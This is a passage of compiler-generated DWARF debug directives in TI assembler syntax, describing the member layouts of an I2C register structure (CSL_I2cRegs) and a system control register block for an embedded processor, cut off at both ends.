$C$DW$161 .dwtag DW_TAG_member .dwattr $C$DW$161, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$161, DW_AT_name("RSVD2") .dwattr $C$DW$161, DW_AT_TI_symbol_name("_RSVD2") .dwattr $C$DW$161, DW_AT_data_member_location[DW_OP_plus_uconst 0x9] .dwattr $C$DW$161, DW_AT_accessibility(DW_ACCESS_public) $C$DW$162 .dwtag DW_TAG_member .dwattr $C$DW$162, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$162, DW_AT_name("ICCLKL") .dwattr $C$DW$162, DW_AT_TI_symbol_name("_ICCLKL") .dwattr $C$DW$162, DW_AT_data_member_location[DW_OP_plus_uconst 0xc] .dwattr $C$DW$162, DW_AT_accessibility(DW_ACCESS_public) $C$DW$163 .dwtag DW_TAG_member .dwattr $C$DW$163, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$163, DW_AT_name("RSVD3") .dwattr $C$DW$163, DW_AT_TI_symbol_name("_RSVD3") .dwattr $C$DW$163, DW_AT_data_member_location[DW_OP_plus_uconst 0xd] .dwattr $C$DW$163, DW_AT_accessibility(DW_ACCESS_public) $C$DW$164 .dwtag DW_TAG_member .dwattr $C$DW$164, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$164, DW_AT_name("ICCLKH") .dwattr $C$DW$164, DW_AT_TI_symbol_name("_ICCLKH") .dwattr $C$DW$164, DW_AT_data_member_location[DW_OP_plus_uconst 0x10] .dwattr $C$DW$164, DW_AT_accessibility(DW_ACCESS_public) $C$DW$165 .dwtag DW_TAG_member .dwattr $C$DW$165, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$165, DW_AT_name("RSVD4") .dwattr $C$DW$165, DW_AT_TI_symbol_name("_RSVD4") .dwattr $C$DW$165, DW_AT_data_member_location[DW_OP_plus_uconst 0x11] .dwattr $C$DW$165, DW_AT_accessibility(DW_ACCESS_public) $C$DW$166 .dwtag DW_TAG_member .dwattr $C$DW$166, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$166, DW_AT_name("ICCNT") .dwattr $C$DW$166, DW_AT_TI_symbol_name("_ICCNT") .dwattr $C$DW$166, DW_AT_data_member_location[DW_OP_plus_uconst 0x14] .dwattr $C$DW$166, DW_AT_accessibility(DW_ACCESS_public) $C$DW$167 .dwtag DW_TAG_member .dwattr $C$DW$167, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$167, DW_AT_name("RSVD5") .dwattr $C$DW$167, DW_AT_TI_symbol_name("_RSVD5") .dwattr $C$DW$167, DW_AT_data_member_location[DW_OP_plus_uconst 0x15] .dwattr $C$DW$167, DW_AT_accessibility(DW_ACCESS_public) $C$DW$168 .dwtag DW_TAG_member .dwattr $C$DW$168, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$168, DW_AT_name("ICDRR") .dwattr $C$DW$168, DW_AT_TI_symbol_name("_ICDRR") .dwattr $C$DW$168, DW_AT_data_member_location[DW_OP_plus_uconst 0x18] .dwattr $C$DW$168, DW_AT_accessibility(DW_ACCESS_public) $C$DW$169 .dwtag DW_TAG_member .dwattr $C$DW$169, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$169, DW_AT_name("RSVD6") .dwattr $C$DW$169, DW_AT_TI_symbol_name("_RSVD6") .dwattr $C$DW$169, DW_AT_data_member_location[DW_OP_plus_uconst 0x19] .dwattr $C$DW$169, DW_AT_accessibility(DW_ACCESS_public) $C$DW$170 .dwtag DW_TAG_member .dwattr $C$DW$170, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$170, DW_AT_name("ICSAR") .dwattr $C$DW$170, DW_AT_TI_symbol_name("_ICSAR") .dwattr $C$DW$170, DW_AT_data_member_location[DW_OP_plus_uconst 0x1c] .dwattr $C$DW$170, DW_AT_accessibility(DW_ACCESS_public) $C$DW$171 .dwtag DW_TAG_member .dwattr $C$DW$171, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$171, DW_AT_name("RSVD7") .dwattr $C$DW$171, DW_AT_TI_symbol_name("_RSVD7") .dwattr $C$DW$171, DW_AT_data_member_location[DW_OP_plus_uconst 0x1d] .dwattr $C$DW$171, DW_AT_accessibility(DW_ACCESS_public) $C$DW$172 .dwtag DW_TAG_member .dwattr $C$DW$172, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$172, DW_AT_name("ICDXR") .dwattr $C$DW$172, DW_AT_TI_symbol_name("_ICDXR") .dwattr $C$DW$172, DW_AT_data_member_location[DW_OP_plus_uconst 0x20] .dwattr $C$DW$172, DW_AT_accessibility(DW_ACCESS_public) $C$DW$173 .dwtag DW_TAG_member .dwattr $C$DW$173, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$173, DW_AT_name("RSVD8") .dwattr $C$DW$173, DW_AT_TI_symbol_name("_RSVD8") .dwattr $C$DW$173, DW_AT_data_member_location[DW_OP_plus_uconst 0x21] .dwattr $C$DW$173, DW_AT_accessibility(DW_ACCESS_public) $C$DW$174 .dwtag DW_TAG_member .dwattr $C$DW$174, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$174, DW_AT_name("ICMDR") .dwattr $C$DW$174, DW_AT_TI_symbol_name("_ICMDR") .dwattr $C$DW$174, DW_AT_data_member_location[DW_OP_plus_uconst 0x24] .dwattr $C$DW$174, DW_AT_accessibility(DW_ACCESS_public) $C$DW$175 .dwtag DW_TAG_member .dwattr $C$DW$175, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$175, DW_AT_name("RSVD9") .dwattr $C$DW$175, DW_AT_TI_symbol_name("_RSVD9") .dwattr $C$DW$175, DW_AT_data_member_location[DW_OP_plus_uconst 0x25] .dwattr $C$DW$175, DW_AT_accessibility(DW_ACCESS_public) $C$DW$176 .dwtag DW_TAG_member .dwattr $C$DW$176, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$176, DW_AT_name("ICIVR") .dwattr $C$DW$176, DW_AT_TI_symbol_name("_ICIVR") .dwattr $C$DW$176, DW_AT_data_member_location[DW_OP_plus_uconst 0x28] .dwattr $C$DW$176, DW_AT_accessibility(DW_ACCESS_public) $C$DW$177 .dwtag DW_TAG_member .dwattr $C$DW$177, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$177, DW_AT_name("RSVD10") .dwattr $C$DW$177, DW_AT_TI_symbol_name("_RSVD10") .dwattr $C$DW$177, DW_AT_data_member_location[DW_OP_plus_uconst 0x29] .dwattr $C$DW$177, DW_AT_accessibility(DW_ACCESS_public) $C$DW$178 .dwtag DW_TAG_member .dwattr $C$DW$178, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$178, DW_AT_name("ICEMDR") .dwattr $C$DW$178, DW_AT_TI_symbol_name("_ICEMDR") .dwattr $C$DW$178, DW_AT_data_member_location[DW_OP_plus_uconst 0x2c] .dwattr $C$DW$178, DW_AT_accessibility(DW_ACCESS_public) $C$DW$179 .dwtag DW_TAG_member .dwattr $C$DW$179, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$179, DW_AT_name("RSVD11") .dwattr $C$DW$179, DW_AT_TI_symbol_name("_RSVD11") .dwattr $C$DW$179, DW_AT_data_member_location[DW_OP_plus_uconst 0x2d] .dwattr $C$DW$179, DW_AT_accessibility(DW_ACCESS_public) $C$DW$180 .dwtag DW_TAG_member .dwattr $C$DW$180, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$180, DW_AT_name("ICPSC") .dwattr $C$DW$180, DW_AT_TI_symbol_name("_ICPSC") .dwattr $C$DW$180, DW_AT_data_member_location[DW_OP_plus_uconst 0x30] .dwattr $C$DW$180, DW_AT_accessibility(DW_ACCESS_public) $C$DW$181 .dwtag DW_TAG_member .dwattr $C$DW$181, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$181, DW_AT_name("RSVD12") .dwattr $C$DW$181, DW_AT_TI_symbol_name("_RSVD12") .dwattr $C$DW$181, DW_AT_data_member_location[DW_OP_plus_uconst 0x31] .dwattr $C$DW$181, DW_AT_accessibility(DW_ACCESS_public) $C$DW$182 .dwtag DW_TAG_member .dwattr $C$DW$182, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$182, DW_AT_name("ICPID1") .dwattr $C$DW$182, DW_AT_TI_symbol_name("_ICPID1") .dwattr $C$DW$182, DW_AT_data_member_location[DW_OP_plus_uconst 0x34] .dwattr $C$DW$182, DW_AT_accessibility(DW_ACCESS_public) $C$DW$183 .dwtag DW_TAG_member .dwattr $C$DW$183, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$183, DW_AT_name("RSVD13") .dwattr $C$DW$183, DW_AT_TI_symbol_name("_RSVD13") .dwattr $C$DW$183, DW_AT_data_member_location[DW_OP_plus_uconst 0x35] .dwattr $C$DW$183, DW_AT_accessibility(DW_ACCESS_public) $C$DW$184 .dwtag DW_TAG_member .dwattr $C$DW$184, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$184, DW_AT_name("ICPID2") .dwattr $C$DW$184, DW_AT_TI_symbol_name("_ICPID2") .dwattr $C$DW$184, DW_AT_data_member_location[DW_OP_plus_uconst 0x38] .dwattr $C$DW$184, DW_AT_accessibility(DW_ACCESS_public) .dwendtag $C$DW$T$22 $C$DW$T$35 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cRegs") .dwattr $C$DW$T$35, DW_AT_type(*$C$DW$T$22) .dwattr $C$DW$T$35, DW_AT_language(DW_LANG_C) $C$DW$185 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$185, DW_AT_type(*$C$DW$T$35) $C$DW$186 .dwtag DW_TAG_TI_ioport_type .dwattr $C$DW$186, DW_AT_type(*$C$DW$185) $C$DW$T$36 .dwtag DW_TAG_volatile_type .dwattr $C$DW$T$36, DW_AT_type(*$C$DW$186) $C$DW$T$37 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$37, DW_AT_type(*$C$DW$T$36) .dwattr $C$DW$T$37, DW_AT_address_class(0x10) $C$DW$T$38 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cRegsOvly") .dwattr $C$DW$T$38, DW_AT_type(*$C$DW$T$37) .dwattr $C$DW$T$38, DW_AT_language(DW_LANG_C) $C$DW$T$26 .dwtag DW_TAG_structure_type .dwattr $C$DW$T$26, DW_AT_byte_size(0x48) $C$DW$187 .dwtag DW_TAG_member .dwattr $C$DW$187, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$187, DW_AT_name("EBSR") .dwattr $C$DW$187, DW_AT_TI_symbol_name("_EBSR") .dwattr $C$DW$187, DW_AT_data_member_location[DW_OP_plus_uconst 0x0] .dwattr $C$DW$187, DW_AT_accessibility(DW_ACCESS_public) $C$DW$188 .dwtag DW_TAG_member .dwattr $C$DW$188, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$188, DW_AT_name("RSVD0") .dwattr $C$DW$188, DW_AT_TI_symbol_name("_RSVD0") .dwattr $C$DW$188, DW_AT_data_member_location[DW_OP_plus_uconst 0x1] .dwattr $C$DW$188, DW_AT_accessibility(DW_ACCESS_public) $C$DW$189 .dwtag DW_TAG_member .dwattr $C$DW$189, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$189, DW_AT_name("PCGCR1") .dwattr $C$DW$189, DW_AT_TI_symbol_name("_PCGCR1") .dwattr $C$DW$189, DW_AT_data_member_location[DW_OP_plus_uconst 0x2] .dwattr $C$DW$189, DW_AT_accessibility(DW_ACCESS_public) $C$DW$190 .dwtag DW_TAG_member .dwattr $C$DW$190, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$190, DW_AT_name("PCGCR2") .dwattr $C$DW$190, DW_AT_TI_symbol_name("_PCGCR2") .dwattr $C$DW$190, DW_AT_data_member_location[DW_OP_plus_uconst 0x3] .dwattr $C$DW$190, DW_AT_accessibility(DW_ACCESS_public) $C$DW$191 .dwtag DW_TAG_member .dwattr $C$DW$191, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$191, DW_AT_name("PSRCR") .dwattr $C$DW$191, DW_AT_TI_symbol_name("_PSRCR") .dwattr $C$DW$191, DW_AT_data_member_location[DW_OP_plus_uconst 0x4] .dwattr $C$DW$191, DW_AT_accessibility(DW_ACCESS_public) $C$DW$192 .dwtag DW_TAG_member .dwattr $C$DW$192, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$192, DW_AT_name("PRCR") .dwattr $C$DW$192, DW_AT_TI_symbol_name("_PRCR") .dwattr $C$DW$192, DW_AT_data_member_location[DW_OP_plus_uconst 0x5] .dwattr $C$DW$192, DW_AT_accessibility(DW_ACCESS_public) $C$DW$193 .dwtag DW_TAG_member .dwattr $C$DW$193, DW_AT_type(*$C$DW$T$23) .dwattr $C$DW$193, DW_AT_name("RSVD1") .dwattr $C$DW$193, DW_AT_TI_symbol_name("_RSVD1") .dwattr $C$DW$193, DW_AT_data_member_location[DW_OP_plus_uconst 0x6] .dwattr $C$DW$193, DW_AT_accessibility(DW_ACCESS_public) $C$DW$194 .dwtag DW_TAG_member .dwattr $C$DW$194, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$194, DW_AT_name("TIAFR") .dwattr $C$DW$194, DW_AT_TI_symbol_name("_TIAFR") .dwattr $C$DW$194, DW_AT_data_member_location[DW_OP_plus_uconst 0x14] .dwattr $C$DW$194, DW_AT_accessibility(DW_ACCESS_public) $C$DW$195 .dwtag DW_TAG_member .dwattr $C$DW$195, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$195, DW_AT_name("RSVD2") .dwattr $C$DW$195, DW_AT_TI_symbol_name("_RSVD2") .dwattr $C$DW$195, DW_AT_data_member_location[DW_OP_plus_uconst 0x15] .dwattr $C$DW$195, DW_AT_accessibility(DW_ACCESS_public) $C$DW$196 .dwtag DW_TAG_member .dwattr $C$DW$196, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$196, DW_AT_name("ODSCR") .dwattr $C$DW$196, DW_AT_TI_symbol_name("_ODSCR") .dwattr $C$DW$196, DW_AT_data_member_location[DW_OP_plus_uconst 0x16] .dwattr $C$DW$196, DW_AT_accessibility(DW_ACCESS_public) $C$DW$197 .dwtag DW_TAG_member .dwattr $C$DW$197, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$197, DW_AT_name("PDINHIBR1") .dwattr $C$DW$197, DW_AT_TI_symbol_name("_PDINHIBR1") .dwattr $C$DW$197, DW_AT_data_member_location[DW_OP_plus_uconst 0x17] .dwattr $C$DW$197, DW_AT_accessibility(DW_ACCESS_public) $C$DW$198 .dwtag DW_TAG_member .dwattr $C$DW$198, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$198, DW_AT_name("PDINHIBR2") .dwattr $C$DW$198, DW_AT_TI_symbol_name("_PDINHIBR2") .dwattr $C$DW$198, DW_AT_data_member_location[DW_OP_plus_uconst 0x18] .dwattr $C$DW$198, DW_AT_accessibility(DW_ACCESS_public) $C$DW$199 .dwtag DW_TAG_member .dwattr $C$DW$199, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$199, DW_AT_name("PDINHIBR3") .dwattr $C$DW$199, DW_AT_TI_symbol_name("_PDINHIBR3") .dwattr $C$DW$199, DW_AT_data_member_location[DW_OP_plus_uconst 0x19] .dwattr $C$DW$199, DW_AT_accessibility(DW_ACCESS_public) $C$DW$200 .dwtag DW_TAG_member .dwattr $C$DW$200, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$200, DW_AT_name("DMA0CESR1") .dwattr $C$DW$200, DW_AT_TI_symbol_name("_DMA0CESR1") .dwattr $C$DW$200, DW_AT_data_member_location[DW_OP_plus_uconst 0x1a] .dwattr $C$DW$200, DW_AT_accessibility(DW_ACCESS_public) $C$DW$201 .dwtag DW_TAG_member .dwattr $C$DW$201, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$201, DW_AT_name("DMA0CESR2") .dwattr $C$DW$201, DW_AT_TI_symbol_name("_DMA0CESR2") .dwattr $C$DW$201, DW_AT_data_member_location[DW_OP_plus_uconst 0x1b] .dwattr $C$DW$201, DW_AT_accessibility(DW_ACCESS_public) $C$DW$202 .dwtag DW_TAG_member .dwattr $C$DW$202, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$202, DW_AT_name("DMA1CESR1") .dwattr $C$DW$202, DW_AT_TI_symbol_name("_DMA1CESR1") .dwattr $C$DW$202, DW_AT_data_member_location[DW_OP_plus_uconst 0x1c] .dwattr $C$DW$202, DW_AT_accessibility(DW_ACCESS_public) $C$DW$203 .dwtag DW_TAG_member .dwattr $C$DW$203, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$203, DW_AT_name("DMA1CESR2") .dwattr $C$DW$203, DW_AT_TI_symbol_name("_DMA1CESR2") .dwattr $C$DW$203, DW_AT_data_member_location[DW_OP_plus_uconst 0x1d] .dwattr $C$DW$203, DW_AT_accessibility(DW_ACCESS_public) $C$DW$204 .dwtag DW_TAG_member .dwattr $C$DW$204, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$204, DW_AT_name("SDRAMCCR") .dwattr $C$DW$204, DW_AT_TI_symbol_name("_SDRAMCCR") .dwattr $C$DW$204, DW_AT_data_member_location[DW_OP_plus_uconst 0x1e] .dwattr $C$DW$204, DW_AT_accessibility(DW_ACCESS_public) $C$DW$205 .dwtag DW_TAG_member .dwattr $C$DW$205, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$205, DW_AT_name("CCR2") .dwattr $C$DW$205, DW_AT_TI_symbol_name("_CCR2") .dwattr $C$DW$205, DW_AT_data_member_location[DW_OP_plus_uconst 0x1f] .dwattr $C$DW$205, DW_AT_accessibility(DW_ACCESS_public) $C$DW$206 .dwtag DW_TAG_member .dwattr $C$DW$206, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$206, DW_AT_name("CGCR1") .dwattr $C$DW$206, DW_AT_TI_symbol_name("_CGCR1") .dwattr $C$DW$206, DW_AT_data_member_location[DW_OP_plus_uconst 0x20] .dwattr $C$DW$206, DW_AT_accessibility(DW_ACCESS_public) $C$DW$207 .dwtag DW_TAG_member .dwattr $C$DW$207, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$207, DW_AT_name("CGICR") .dwattr $C$DW$207, DW_AT_TI_symbol_name("_CGICR") .dwattr $C$DW$207, DW_AT_data_member_location[DW_OP_plus_uconst 0x21] .dwattr $C$DW$207, DW_AT_accessibility(DW_ACCESS_public) $C$DW$208 .dwtag DW_TAG_member .dwattr $C$DW$208, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$208, DW_AT_name("CGCR2") .dwattr $C$DW$208, DW_AT_TI_symbol_name("_CGCR2") .dwattr $C$DW$208, DW_AT_data_member_location[DW_OP_plus_uconst 0x22] .dwattr $C$DW$208, DW_AT_accessibility(DW_ACCESS_public) $C$DW$209 .dwtag DW_TAG_member .dwattr $C$DW$209, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$209, DW_AT_name("CGOCR") .dwattr $C$DW$209, DW_AT_TI_symbol_name("_CGOCR") .dwattr $C$DW$209, DW_AT_data_member_location[DW_OP_plus_uconst 0x23] .dwattr $C$DW$209, DW_AT_accessibility(DW_ACCESS_public) $C$DW$210 .dwtag DW_TAG_member .dwattr $C$DW$210, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$210, DW_AT_name("CCSSR") .dwattr $C$DW$210, DW_AT_TI_symbol_name("_CCSSR") .dwattr $C$DW$210, DW_AT_data_member_location[DW_OP_plus_uconst 0x24] .dwattr $C$DW$210, DW_AT_accessibility(DW_ACCESS_public) $C$DW$211 .dwtag DW_TAG_member .dwattr $C$DW$211, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$211, DW_AT_name("RSVD3") .dwattr $C$DW$211, DW_AT_TI_symbol_name("_RSVD3") .dwattr $C$DW$211, DW_AT_data_member_location[DW_OP_plus_uconst 0x25] .dwattr $C$DW$211, DW_AT_accessibility(DW_ACCESS_public) $C$DW$212 .dwtag DW_TAG_member .dwattr $C$DW$212, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$212, DW_AT_name("ECDR") .dwattr $C$DW$212, DW_AT_TI_symbol_name("_ECDR") .dwattr $C$DW$212, DW_AT_data_member_location[DW_OP_plus_uconst 0x26] .dwattr $C$DW$212, DW_AT_accessibility(DW_ACCESS_public) $C$DW$213 .dwtag DW_TAG_member .dwattr $C$DW$213, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$213, DW_AT_name("RSVD4") .dwattr $C$DW$213, DW_AT_TI_symbol_name("_RSVD4") .dwattr $C$DW$213, DW_AT_data_member_location[DW_OP_plus_uconst 0x27] .dwattr $C$DW$213, DW_AT_accessibility(DW_ACCESS_public) $C$DW$214 .dwtag DW_TAG_member .dwattr $C$DW$214, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$214, DW_AT_name("RAMSLPMDCNTLR1") .dwattr $C$DW$214, DW_AT_TI_symbol_name("_RAMSLPMDCNTLR1") .dwattr $C$DW$214, DW_AT_data_member_location[DW_OP_plus_uconst 0x28] .dwattr $C$DW$214, DW_AT_accessibility(DW_ACCESS_public) $C$DW$215 .dwtag DW_TAG_member .dwattr $C$DW$215, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$215, DW_AT_name("RSVD5") .dwattr $C$DW$215, DW_AT_TI_symbol_name("_RSVD5") .dwattr $C$DW$215, DW_AT_data_member_location[DW_OP_plus_uconst 0x29] .dwattr $C$DW$215, DW_AT_accessibility(DW_ACCESS_public) $C$DW$216 .dwtag DW_TAG_member .dwattr $C$DW$216, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$216, DW_AT_name("RAMSLPMDCNTLR2") .dwattr $C$DW$216, DW_AT_TI_symbol_name("_RAMSLPMDCNTLR2") .dwattr $C$DW$216, DW_AT_data_member_location[DW_OP_plus_uconst 0x2a] .dwattr $C$DW$216, DW_AT_accessibility(DW_ACCESS_public) $C$DW$217 .dwtag DW_TAG_member .dwattr $C$DW$217, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$217, DW_AT_name("RAMSLPMDCNTLR3") .dwattr $C$DW$217, DW_AT_TI_symbol_name("_RAMSLPMDCNTLR3") .dwattr $C$DW$217, DW_AT_data_member_location[DW_OP_plus_uconst 0x2b] .dwattr $C$DW$217, DW_AT_accessibility(DW_ACCESS_public) $C$DW$218 .dwtag DW_TAG_member .dwattr $C$DW$218, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$218, DW_AT_name("RAMSLPMDCNTLR4") .dwattr $C$DW$218, DW_AT_TI_symbol_name("_RAMSLPMDCNTLR4") .dwattr $C$DW$218, DW_AT_data_member_location[DW_OP_plus_uconst 0x2c] .dwattr $C$DW$218, DW_AT_accessibility(DW_ACCESS_public) $C$DW$219 .dwtag DW_TAG_member .dwattr $C$DW$219, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$219, DW_AT_name("RAMSLPMDCNTLR5") .dwattr $C$DW$219, DW_AT_TI_symbol_name("_RAMSLPMDCNTLR5") .dwattr $C$DW$219, DW_AT_data_member_location[DW_OP_plus_uconst 0x2d] .dwattr $C$DW$219, DW_AT_accessibility(DW_ACCESS_public) $C$DW$220 .dwtag DW_TAG_member .dwattr $C$DW$220, DW_AT_type(*$C$DW$T$24) .dwattr $C$DW$220, DW_AT_name("RSVD6") .dwattr $C$DW$220, DW_AT_TI_symbol_name("_RSVD6") .dwattr $C$DW$220, DW_AT_data_member_location[DW_OP_plus_uconst 0x2e] .dwattr $C$DW$220, DW_AT_accessibility(DW_ACCESS_public) $C$DW$221 .dwtag DW_TAG_member .dwattr $C$DW$221, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$221, DW_AT_name("DMAIFR") .dwattr $C$DW$221, DW_AT_TI_symbol_name("_DMAIFR") .dwattr $C$DW$221, DW_AT_data_member_location[DW_OP_plus_uconst 0x30] .dwattr $C$DW$221, DW_AT_accessibility(DW_ACCESS_public) $C$DW$222 .dwtag DW_TAG_member .dwattr $C$DW$222, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$222, DW_AT_name("DMAIER") .dwattr $C$DW$222, DW_AT_TI_symbol_name("_DMAIER") .dwattr $C$DW$222, DW_AT_data_member_location[DW_OP_plus_uconst 0x31] .dwattr $C$DW$222, DW_AT_accessibility(DW_ACCESS_public) $C$DW$223 .dwtag DW_TAG_member .dwattr $C$DW$223, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$223, DW_AT_name("USBSCR") .dwattr $C$DW$223, DW_AT_TI_symbol_name("_USBSCR") .dwattr $C$DW$223, DW_AT_data_member_location[DW_OP_plus_uconst 0x32] .dwattr $C$DW$223, DW_AT_accessibility(DW_ACCESS_public) $C$DW$224 .dwtag DW_TAG_member .dwattr $C$DW$224, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$224, DW_AT_name("ESCR") .dwattr $C$DW$224, DW_AT_TI_symbol_name("_ESCR") .dwattr $C$DW$224, DW_AT_data_member_location[DW_OP_plus_uconst 0x33] .dwattr $C$DW$224, DW_AT_accessibility(DW_ACCESS_public) $C$DW$225 .dwtag DW_TAG_member .dwattr $C$DW$225, DW_AT_type(*$C$DW$T$24) .dwattr $C$DW$225, DW_AT_name("RSVD7") .dwattr $C$DW$225, DW_AT_TI_symbol_name("_RSVD7") .dwattr $C$DW$225, DW_AT_data_member_location[DW_OP_plus_uconst 0x34] .dwattr $C$DW$225, DW_AT_accessibility(DW_ACCESS_public) $C$DW$226 .dwtag DW_TAG_member .dwattr $C$DW$226, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$226, DW_AT_name("DMA2CESR1") .dwattr $C$DW$226, DW_AT_TI_symbol_name("_DMA2CESR1") .dwattr $C$DW$226, DW_AT_data_member_location[DW_OP_plus_uconst 0x36] .dwattr $C$DW$226, DW_AT_accessibility(DW_ACCESS_public) $C$DW$227 .dwtag DW_TAG_member .dwattr $C$DW$227, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$227, DW_AT_name("DMA2CESR2") .dwattr $C$DW$227, DW_AT_TI_symbol_name("_DMA2CESR2") .dwattr $C$DW$227, DW_AT_data_member_location[DW_OP_plus_uconst 0x37] .dwattr $C$DW$227, DW_AT_accessibility(DW_ACCESS_public) $C$DW$228 .dwtag DW_TAG_member .dwattr $C$DW$228, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$228, DW_AT_name("DMA3CESR1") .dwattr $C$DW$228, DW_AT_TI_symbol_name("_DMA3CESR1") .dwattr $C$DW$228, DW_AT_data_member_location[DW_OP_plus_uconst 0x38] .dwattr $C$DW$228, DW_AT_accessibility(DW_ACCESS_public) $C$DW$229 .dwtag DW_TAG_member .dwattr $C$DW$229, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$229, DW_AT_name("DMA3CESR2") .dwattr $C$DW$229, DW_AT_TI_symbol_name("_DMA3CESR2") .dwattr $C$DW$229, DW_AT_data_member_location[DW_OP_plus_uconst 0x39] .dwattr $C$DW$229, DW_AT_accessibility(DW_ACCESS_public) $C$DW$230 .dwtag DW_TAG_member .dwattr $C$DW$230, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$230, DW_AT_name("CLKSTOP") .dwattr $C$DW$230, DW_AT_TI_symbol_name("_CLKSTOP") .dwattr $C$DW$230, DW_AT_data_member_location[DW_OP_plus_uconst 0x3a] .dwattr $C$DW$230, DW_AT_accessibility(DW_ACCESS_public) $C$DW$231 .dwtag DW_TAG_member .dwattr $C$DW$231, DW_AT_type(*$C$DW$T$25) .dwattr $C$DW$231, DW_AT_name("RSVD8") .dwattr $C$DW$231, DW_AT_TI_symbol_name("_RSVD8") .dwattr $C$DW$231, DW_AT_data_member_location[DW_OP_plus_uconst 0x3b] .dwattr $C$DW$231, DW_AT_accessibility(DW_ACCESS_public) $C$DW$232 .dwtag DW_TAG_member .dwattr $C$DW$232, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$232, DW_AT_name("DIEIDR0") .dwattr $C$DW$232, DW_AT_TI_symbol_name("_DIEIDR0") .dwattr $C$DW$232, DW_AT_data_member_location[DW_OP_plus_uconst 0x40] .dwattr $C$DW$232, DW_AT_accessibility(DW_ACCESS_public) $C$DW$233 .dwtag DW_TAG_member .dwattr $C$DW$233, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$233, DW_AT_name("DIEIDR1") .dwattr $C$DW$233, DW_AT_TI_symbol_name("_DIEIDR1") .dwattr $C$DW$233, DW_AT_data_member_location[DW_OP_plus_uconst 0x41] .dwattr $C$DW$233, DW_AT_accessibility(DW_ACCESS_public) $C$DW$234 .dwtag DW_TAG_member .dwattr $C$DW$234, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$234, DW_AT_name("DIEIDR2") .dwattr $C$DW$234, DW_AT_TI_symbol_name("_DIEIDR2") .dwattr $C$DW$234, DW_AT_data_member_location[DW_OP_plus_uconst 0x42] .dwattr $C$DW$234, DW_AT_accessibility(DW_ACCESS_public) $C$DW$235 .dwtag DW_TAG_member .dwattr $C$DW$235, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$235, DW_AT_name("DIEIDR3") .dwattr $C$DW$235, DW_AT_TI_symbol_name("_DIEIDR3") .dwattr $C$DW$235, DW_AT_data_member_location[DW_OP_plus_uconst 0x43] .dwattr $C$DW$235, DW_AT_accessibility(DW_ACCESS_public) $C$DW$236 .dwtag DW_TAG_member .dwattr $C$DW$236, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$236, DW_AT_name("DIEIDR4") .dwattr $C$DW$236, DW_AT_TI_symbol_name("_DIEIDR4") .dwattr $C$DW$236, DW_AT_data_member_location[DW_OP_plus_uconst 0x44] .dwattr $C$DW$236, DW_AT_accessibility(DW_ACCESS_public) $C$DW$237 .dwtag DW_TAG_member .dwattr 